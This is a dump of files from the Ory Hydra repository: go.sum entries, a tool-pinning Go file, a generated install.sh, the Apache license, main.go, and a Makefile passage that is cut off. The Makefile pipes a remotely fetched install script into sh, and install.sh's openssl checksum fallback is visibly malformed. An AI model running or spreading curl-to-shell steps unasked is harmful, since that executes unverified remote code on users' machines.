h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20201214200347-8c77b98c765d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20210108203827-ffc7fda8c3d7/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20210226172003-ab064af71705/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20230807174057-1744710a1577 h1:Tyk/35yqszRCvaragTn5NnkY6IiKk/XvHzEWepo71N0= google.golang.org/genproto v0.0.0-20230807174057-1744710a1577/go.mod h1:yZTlhN0tQnXo3h00fuXNCxJdLdIdnVFVBaRJ5LWBbw4= google.golang.org/genproto/googleapis/api v0.0.0-20230807174057-1744710a1577 h1:xv8KoglAClYGkprUSmDTKaILtzfD8XzG9NYVXMprjKo= google.golang.org/genproto/googleapis/api v0.0.0-20230807174057-1744710a1577/go.mod h1:KjSP20unUpOx5kyQUFa7k4OJg0qeJ7DEZflGDu2p6Bk= google.golang.org/genproto/googleapis/rpc v0.0.0-20230807174057-1744710a1577 h1:wukfNtZmZUurLN/atp2hiIeTKn7QJWIQdHzqmsOnAOk= google.golang.org/genproto/googleapis/rpc v0.0.0-20230807174057-1744710a1577/go.mod h1:+Bk1OCOj40wS2hwAMA+aCW9ypzm63QTBBHp6lQ3p+9M= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60= google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk= google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= google.golang.org/grpc v1.31.1/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc= google.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8= google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= google.golang.org/grpc v1.57.0 h1:kfzNeI/klCGD2YPMUlaGNT3pxvYfga7smW3Vth8Zsiw= google.golang.org/grpc v1.57.0/go.mod h1:Sd+9RMTACXwmub0zcNY2c4arhtrbBYD1AUHI/dt16Mo= google.golang.org/grpc/examples v0.0.0-20210304020650-930c79186c99 h1:qA8rMbz1wQ4DOFfM2ouD29DG9aHWBm6ZOy9BGxiUMmY= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4= google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= google.golang.org/protobuf v1.31.0 h1:g0LDEJHgrBl9N9r17Ru3sqWhkIx2NB67okBHPwC7hs8= google.golang.org/protobuf v1.31.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= gopkg.in/go-playground/assert.v1 v1.2.1/go.mod h1:9RXL0bg/zibRAgZUYszZSwO/z8Y/a8bDuhia5mkpMnE= gopkg.in/go-playground/mold.v2 v2.2.0/go.mod h1:XMyyRsGtakkDPbxXbrA5VODo6bUXyvoDjLd5l3T0XoA= gopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s= gopkg.in/ini.v1 v1.67.0 h1:Dgnx+6+nfE+IfzjUEISNeydPJh9AXNNsWbGP9KzCsOA= gopkg.in/ini.v1 v1.67.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/op/go-logging.v1 v1.0.0-20160211212156-b2cb9fa56473 h1:6D+BvnJ/j6e222UW8s2qTSe3wGBtvo0MbVQG/c5k8RE= gopkg.in/op/go-logging.v1 v1.0.0-20160211212156-b2cb9fa56473/go.mod h1:N1eN2tsCx0Ydtgjl4cqmbRCsY4/+z4cYDeqwZTk6zog= gopkg.in/validator.v2 v2.0.0-20180514200540-135c24b11c19/go.mod h1:o4V0GXN9/CAmCsvJ0oXYZvrZOe7syiDZSN1GWGZTGzc= gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0-20200605160147-a5ece683394c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0-20200615113413-eeeca48fe776/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gorm.io/driver/postgres v1.3.5/go.mod h1:EGCWefLFQSVFrHGy4J8EtiHCWX5Q8t0yz2Jt9aKkGzU= gorm.io/gorm v1.23.5/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk= gotest.tools/v3 v3.3.0 h1:MfDY1b1/0xN1CyMlQDac0ziEy9zJQd9CXBRRDHw2jJo= honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA=
Go
hydra/go_mod_indirect_pins.go
// Copyright © 2022 Ory Corp // SPDX-License-Identifier: Apache-2.0 //go:build go_mod_indirect_pins // +build go_mod_indirect_pins package main import ( _ "github.com/go-swagger/go-swagger/cmd/swagger" _ "github.com/golang/mock/mockgen" _ "github.com/mikefarah/yq/v4" _ "golang.org/x/tools/cmd/goimports" _ "github.com/ory/go-acc" )
Shell Script
hydra/install.sh
#!/bin/sh set -e # Code generated by godownloader on 2020-10-22T12:52:40Z. DO NOT EDIT. # usage() { this=$1 cat <<EOF $this: download go binaries for ory/hydra Usage: $this [-b] bindir [-d] [tag] -b sets bindir or installation directory, Defaults to ./bin -d turns on debug logging [tag] is a tag from https://github.com/ory/hydra/releases If tag is missing, then the latest will be used. Generated by godownloader https://github.com/goreleaser/godownloader EOF exit 2 } parse_args() { #BINDIR is ./bin unless set be ENV # over-ridden by flag below BINDIR=${BINDIR:-./bin} while getopts "b:dh?x" arg; do case "$arg" in b) BINDIR="$OPTARG" ;; d) log_set_priority 10 ;; h | \?) usage "$0" ;; x) set -x ;; esac done shift $((OPTIND - 1)) TAG=$1 } # this function wraps all the destructive operations # if a curl|bash cuts off the end of the script due to # network, either nothing will happen or will syntax error # out preventing half-done work execute() { tmpdir=$(mktemp -d) log_debug "downloading files into ${tmpdir}" http_download "${tmpdir}/${TARBALL}" "${TARBALL_URL}" http_download "${tmpdir}/${CHECKSUM}" "${CHECKSUM_URL}" hash_sha256_verify "${tmpdir}/${TARBALL}" "${tmpdir}/${CHECKSUM}" srcdir="${tmpdir}" (cd "${tmpdir}" && untar "${TARBALL}") test ! -d "${BINDIR}" && install -d "${BINDIR}" for binexe in $BINARIES; do if [ "$OS" = "windows" ]; then binexe="${binexe}.exe" fi install "${srcdir}/${binexe}" "${BINDIR}/" log_info "installed ${BINDIR}/${binexe}" done rm -rf "${tmpdir}" } get_binaries() { case "$PLATFORM" in darwin/386) BINARIES="hydra" ;; darwin/amd64) BINARIES="hydra" ;; darwin/arm64) BINARIES="hydra" ;; darwin/armv5) BINARIES="hydra" ;; darwin/armv6) BINARIES="hydra" ;; darwin/armv7) BINARIES="hydra" ;; freebsd/386) BINARIES="hydra" ;; freebsd/amd64) BINARIES="hydra" ;; freebsd/arm64) BINARIES="hydra" ;; freebsd/armv5) BINARIES="hydra" ;; freebsd/armv6) BINARIES="hydra" ;; freebsd/armv7) BINARIES="hydra" ;; linux/386) BINARIES="hydra" ;; linux/amd64) BINARIES="hydra" ;; linux/arm64) BINARIES="hydra" ;; linux/armv5) BINARIES="hydra" ;; linux/armv6) BINARIES="hydra" ;; linux/armv7) BINARIES="hydra" ;; windows/386) BINARIES="hydra" ;; windows/amd64) BINARIES="hydra" ;; windows/arm64) BINARIES="hydra" ;; windows/armv5) BINARIES="hydra" ;; windows/armv6) BINARIES="hydra" ;; windows/armv7) BINARIES="hydra" ;; *) log_crit "platform $PLATFORM is not supported. Make sure this script is up-to-date and file request at https://github.com/${PREFIX}/issues/new" exit 1 ;; esac } tag_to_version() { if [ -z "${TAG}" ]; then log_info "checking GitHub for latest tag" else log_info "checking GitHub for tag '${TAG}'" fi REALTAG=$(github_release "$OWNER/$REPO" "${TAG}") && true if test -z "$REALTAG"; then log_crit "unable to find '${TAG}' - use 'latest' or see https://github.com/${PREFIX}/releases for details" exit 1 fi # if version starts with 'v', remove it TAG="$REALTAG" VERSION=${TAG#v} } adjust_format() { # change format (tar.gz or zip) based on OS case ${OS} in windows) FORMAT=zip ;; esac true } adjust_os() { # adjust archive name based on OS case ${OS} in 386) OS=32bit ;; amd64) OS=64bit ;; arm) OS=arm32 ;; darwin) OS=macos ;; esac true } adjust_arch() { # adjust archive name based on ARCH case ${ARCH} in 386) ARCH=32bit ;; amd64) ARCH=64bit ;; arm) ARCH=arm32 ;; darwin) ARCH=macos ;; esac true } cat /dev/null <<EOF ------------------------------------------------------------------------ https://github.com/client9/shlib - portable posix shell functions Public domain - http://unlicense.org https://github.com/client9/shlib/blob/master/LICENSE.md but credit (and pull requests) appreciated. ------------------------------------------------------------------------ EOF is_command() { command -v "$1" >/dev/null } echoerr() { echo "$@" 1>&2 } log_prefix() { echo "$0" } _logp=6 log_set_priority() { _logp="$1" } log_priority() { if test -z "$1"; then echo "$_logp" return fi [ "$1" -le "$_logp" ] } log_tag() { case $1 in 0) echo "emerg" ;; 1) echo "alert" ;; 2) echo "crit" ;; 3) echo "err" ;; 4) echo "warning" ;; 5) echo "notice" ;; 6) echo "info" ;; 7) echo "debug" ;; *) echo "$1" ;; esac } log_debug() { log_priority 7 || return 0 echoerr "$(log_prefix)" "$(log_tag 7)" "$@" } log_info() { log_priority 6 || return 0 echoerr "$(log_prefix)" "$(log_tag 6)" "$@" } log_err() { log_priority 3 || return 0 echoerr "$(log_prefix)" "$(log_tag 3)" "$@" } log_crit() { log_priority 2 || return 0 echoerr "$(log_prefix)" "$(log_tag 2)" "$@" } uname_os() { os=$(uname -s | tr '[:upper:]' '[:lower:]') case "$os" in cygwin_nt*) os="windows" ;; mingw*) os="windows" ;; msys_nt*) os="windows" ;; esac echo "$os" } uname_arch() { arch=$(uname -m) case $arch in x86_64) arch="amd64" ;; x86) arch="386" ;; i686) arch="386" ;; i386) arch="386" ;; aarch64) arch="arm64" ;; armv5*) arch="armv5" ;; armv6*) arch="armv6" ;; armv7*) arch="armv7" ;; esac echo ${arch} } uname_os_check() { os=$(uname_os) case "$os" in darwin) return 0 ;; dragonfly) return 0 ;; freebsd) return 0 ;; linux) return 0 ;; android) return 0 ;; nacl) return 0 ;; netbsd) return 0 ;; openbsd) return 0 ;; plan9) return 0 ;; solaris) return 0 ;; windows) return 0 ;; esac log_crit "uname_os_check '$(uname -s)' got converted to '$os' which is not a GOOS value. Please file bug at https://github.com/client9/shlib" return 1 } uname_arch_check() { arch=$(uname_arch) case "$arch" in 386) return 0 ;; amd64) return 0 ;; arm64) return 0 ;; armv5) return 0 ;; armv6) return 0 ;; armv7) return 0 ;; ppc64) return 0 ;; ppc64le) return 0 ;; mips) return 0 ;; mipsle) return 0 ;; mips64) return 0 ;; mips64le) return 0 ;; s390x) return 0 ;; amd64p32) return 0 ;; esac log_crit "uname_arch_check '$(uname -m)' got converted to '$arch' which is not a GOARCH value. Please file bug report at https://github.com/client9/shlib" return 1 } untar() { tarball=$1 case "${tarball}" in *.tar.gz | *.tgz) tar --no-same-owner -xzf "${tarball}" ;; *.tar) tar --no-same-owner -xf "${tarball}" ;; *.zip) unzip "${tarball}" ;; *) log_err "untar unknown archive format for ${tarball}" return 1 ;; esac } http_download_curl() { local_file=$1 source_url=$2 header=$3 if [ -z "$header" ]; then code=$(curl -w '%{http_code}' -sL -o "$local_file" "$source_url") else code=$(curl -w '%{http_code}' -sL -H "$header" -o "$local_file" "$source_url") fi if [ "$code" != "200" ]; then log_debug "http_download_curl received HTTP status $code" return 1 fi return 0 } http_download_wget() { local_file=$1 source_url=$2 header=$3 if [ -z "$header" ]; then wget -q -O "$local_file" "$source_url" else wget -q --header "$header" -O "$local_file" "$source_url" fi } http_download() { log_debug "http_download $2" if is_command curl; then http_download_curl "$@" return elif is_command wget; then http_download_wget "$@" return fi log_crit "http_download unable to find wget or curl" return 1 } http_copy() { tmp=$(mktemp) http_download "${tmp}" "$1" "$2" || return 1 body=$(cat "$tmp") rm -f "${tmp}" echo "$body" } github_release() { owner_repo=$1 version=$2 test -z "$version" && version="latest" giturl="https://github.com/${owner_repo}/releases/${version}" json=$(http_copy "$giturl" "Accept:application/json") test -z "$json" && return 1 version=$(echo "$json" | tr -s '\n' ' ' | sed 's/.*"tag_name":"//' | sed 's/".*//') test -z "$version" && return 1 echo "$version" } hash_sha256() { TARGET=${1:-/dev/stdin} if is_command gsha256sum; then hash=$(gsha256sum "$TARGET") || return 1 echo "$hash" | cut -d ' ' -f 1 elif is_command sha256sum; then hash=$(sha256sum "$TARGET") || return 1 echo "$hash" | cut -d ' ' -f 1 elif is_command shasum; then hash=$(shasum -a 256 "$TARGET" 2>/dev/null) || return 1 echo "$hash" | cut -d ' ' -f 1 elif is_command openssl; then hash=$(openssl -dst openssl dgst -sha256 "$TARGET") || return 1 echo "$hash" | cut -d ' ' -f a else log_crit "hash_sha256 unable to find command to compute sha-256 hash" return 1 fi } hash_sha256_verify() { TARGET=$1 checksums=$2 if [ -z "$checksums" ]; then log_err "hash_sha256_verify checksum file not specified in arg2" return 1 fi BASENAME=${TARGET##*/} want=$(grep "${BASENAME}" "${checksums}" 2>/dev/null | tr '\t' ' ' | cut -d ' ' -f 1) if [ -z "$want" ]; then log_err "hash_sha256_verify unable to find checksum for '${TARGET}' in '${checksums}'" return 1 fi got=$(hash_sha256 "$TARGET") if [ "$want" != "$got" ]; then log_err "hash_sha256_verify checksum for '$TARGET' did not verify ${want} vs $got" return 1 fi } cat /dev/null <<EOF ------------------------------------------------------------------------ End of functions from https://github.com/client9/shlib ------------------------------------------------------------------------ EOF PROJECT_NAME="hydra" OWNER=ory REPO="hydra" FORMAT=tar.gz OS=$(uname_os) ARCH=$(uname_arch) PREFIX="$OWNER/$REPO" # use in logging routines log_prefix() { echo "$PREFIX" } PLATFORM="${OS}/${ARCH}" GITHUB_DOWNLOAD=https://github.com/${OWNER}/${REPO}/releases/download uname_os_check "$OS" uname_arch_check "$ARCH" parse_args "$@" get_binaries tag_to_version adjust_format adjust_os adjust_arch log_info "found version: ${VERSION} for ${TAG}/${OS}/${ARCH}" NAME=${PROJECT_NAME}_${VERSION}-sqlite_${OS}_${ARCH} TARBALL=${NAME}.${FORMAT} TARBALL_URL=${GITHUB_DOWNLOAD}/${TAG}/${TARBALL} CHECKSUM=${PROJECT_NAME}_${VERSION}_checksums.txt CHECKSUM_URL=${GITHUB_DOWNLOAD}/${TAG}/${CHECKSUM} execute
hydra/LICENSE
Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. Definitions. "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. "Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License. "Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. "You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License. "Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files. "Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types. "Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below). "Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof. "Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution." "Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work. 2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form. 3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed. 4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions: (a) You must give any other recipients of the Work or Derivative Works a copy of this License; and (b) You must cause any modified files to carry prominent notices stating that You changed the files; and (c) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and (d) If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License. 5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions. 6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file. 7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License. 8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages. 9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability. END OF TERMS AND CONDITIONS APPENDIX: How to apply the Apache License to your work. To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives. Copyright [yyyy] [name of copyright owner] Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
Go
hydra/main.go
// Copyright © 2022 Ory Corp // SPDX-License-Identifier: Apache-2.0 package main import ( "github.com/ory/hydra/v2/cmd" "github.com/ory/x/profilex" ) func main() { defer profilex.Profile().Stop() cmd.Execute() }
hydra/Makefile
SHELL=/bin/bash -o pipefail export GO111MODULE := on export PATH := .bin:${PATH} export PWD := $(shell pwd) export IMAGE_TAG := $(if $(IMAGE_TAG),$(IMAGE_TAG),latest) GOLANGCI_LINT_VERSION = 1.53.3 GO_DEPENDENCIES = github.com/ory/go-acc \ github.com/golang/mock/mockgen \ golang.org/x/tools/cmd/goimports \ github.com/go-swagger/go-swagger/cmd/swagger define make-go-dependency # go install is responsible for not re-building when the code hasn't changed .bin/$(notdir $1): go.sum go.mod GOBIN=$(PWD)/.bin/ go install $1 endef .bin/golangci-lint-$(GOLANGCI_LINT_VERSION): curl -sSfL https://raw.githubusercontent.com/golangci/golangci-lint/master/install.sh | sh -s -- -b .bin v$(GOLANGCI_LINT_VERSION) mv .bin/golangci-lint .bin/golangci-lint-$(GOLANGCI_LINT_VERSION) $(foreach dep, $(GO_DEPENDENCIES), $(eval $(call make-go-dependency, $(dep)))) node_modules: package-lock.json npm ci touch node_modules .PHONY: .bin/yq .bin/yq: go build -o .bin/yq github.com/mikefarah/yq/v4 .bin/clidoc: go.mod go build -o .bin/clidoc ./cmd/clidoc/. docs/cli: .bin/clidoc clidoc . .bin/licenses: Makefile curl 